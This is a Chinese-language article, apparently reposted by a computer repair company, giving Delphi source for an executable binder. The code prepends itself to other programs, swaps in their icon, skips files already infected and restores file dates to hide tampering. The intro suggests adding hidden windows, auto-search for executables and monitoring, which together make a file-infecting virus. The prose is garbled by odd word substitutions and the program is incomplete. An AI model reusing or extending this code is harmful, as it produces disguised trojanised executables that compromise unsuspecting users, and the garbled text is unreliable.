捆绑执行文件新思维
{最新功能:与其它步伐捆绑后,图标为其它步伐的图标
这个树模步伐没有form,编译、压缩后仅40K,运转后不长驻内存
如果加上隐蔽的窗体,加上搜刮可实行步伐的功能,加上监视体系的功能,加上 %$#@*^ 功能...
步伐中几个数字的确定:
1 在本步伐编译后用Aspack.Exe压缩,大小为41472
2 颠末阐发,本步伐在用Aspack.Exe压缩后,图标前面部分长40751,图标数据
位于从第40752字节开始共640字节,图标后还有81字节
与其它步伐捆绑的过程:
本步伐的前40751字节+被捆绑步伐的图标+本步伐最后81字节+被捆绑步伐全部
怎么找到图标的地位:
将步伐的图标设定为一个32*32的红色块,在步伐颠末编译、压缩后,用十六进制
编辑软件载入,查找“99 99 99”字符串即可。当前你可为步伐加上其它符合的图标。
十六进制编辑软件:常用UltraEdit。
本人嫌它有日限期制,自编了一个,有十六进制编辑、比较、查找功能,并在不断美满中,敷衍几百K的文件没题目:
http://guanbh.top263.net/download/hexedit.exe
}
program exe2;
uses
classes,
Tlhelp32,
windows,
graphics,
ShellAPI,
SysUtils;
{$R *.RES}
var
lppe:TProcessEntry32;
found:boolean;
handle:THandle;
ProcessStr,ExeName:string;
WinDir:pchar;
const
MySize=41472; {!!这个值要凭据编译或压缩后的文件大小举行修改!!}
procedure copy2(s:string);
var
s1,s2,IcoStream:TMemoryStream;
File2:TFilestream;
ch:array[0..1] of char;
ss:string;
filetime,fhandle:integer;
l:integer;
File2Icon:Ticon;
begin
{若文件s不存在}
if FileExists(s)=False then exit;
try
{若文件不含图标,就不捆绑}
File2Icon:=Ticon.Create;
l:=extracticon(handle,pchar(s),0);
if l=0 then
begin
File2Icon.Free;
exit;
end
else
begin
{提取被捆绑步伐图标}
File2Icon.Handle:=extracticon(handle,pchar(s),0);
IcoStream:=TMemoryStream.Create;
File2Icon.SaveToStream(IcoStream);
File2Icon.Free;
end;
{果断文件s中有没有第2个步伐头’MZ’。如有,表现曾经归并过}
File2:=TFilestream.Create(s,fmopenread);
if File2.Size>MySize then
begin
File2.Position:=MySize;
File2.Read(ch,2);
ss:=copy(ch,1,2);
if ss=’MZ’ then
begin
File2.Free;
exit;
end;
end;
File2.Free;
{将本文件与文件s归并 本文件+s=s}
s2:=TMemoryStream.Create;
s2.loadfromfile(ExeName);
s1:=TMemoryStream.Create;
{ 参加本步伐的前部40751字节
第40752字节开始共640字节为图标数据
!!以下数字 40751,81要凭据实际情况修改!! }
s1.copyfrom(s2,40751);
{将图标换为被捆绑步伐图标,图标大小为766}
IcoStream.Position:=126;
s1.CopyFrom(IcoStream,640);
IcoStream.Free;
s2.Position:=40751+640;
{参加本步伐的后部81字节}
s1.CopyFrom(s2,81);
s2.clear;
s2.loadfromfile(s);
s1.seek(s1.size,soFromBeginning);
{参加被捆绑步伐全部}
s1.copyfrom(s2,s2.size);
s2.free;
{得到文件s的日期}
fhandle:=FileOpen(s, fmOpenread);
filetime:=filegetdate(fhandle);
fileclose(fhandle);
s1.SaveToFile(s);
{恢复文件s的日期}
fhandle:=FileOpen(s, fmOpenwrite);
filesetdate(fhandle,filetime);
fileclose(fhandle);
s1.free;
except end;
end;
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|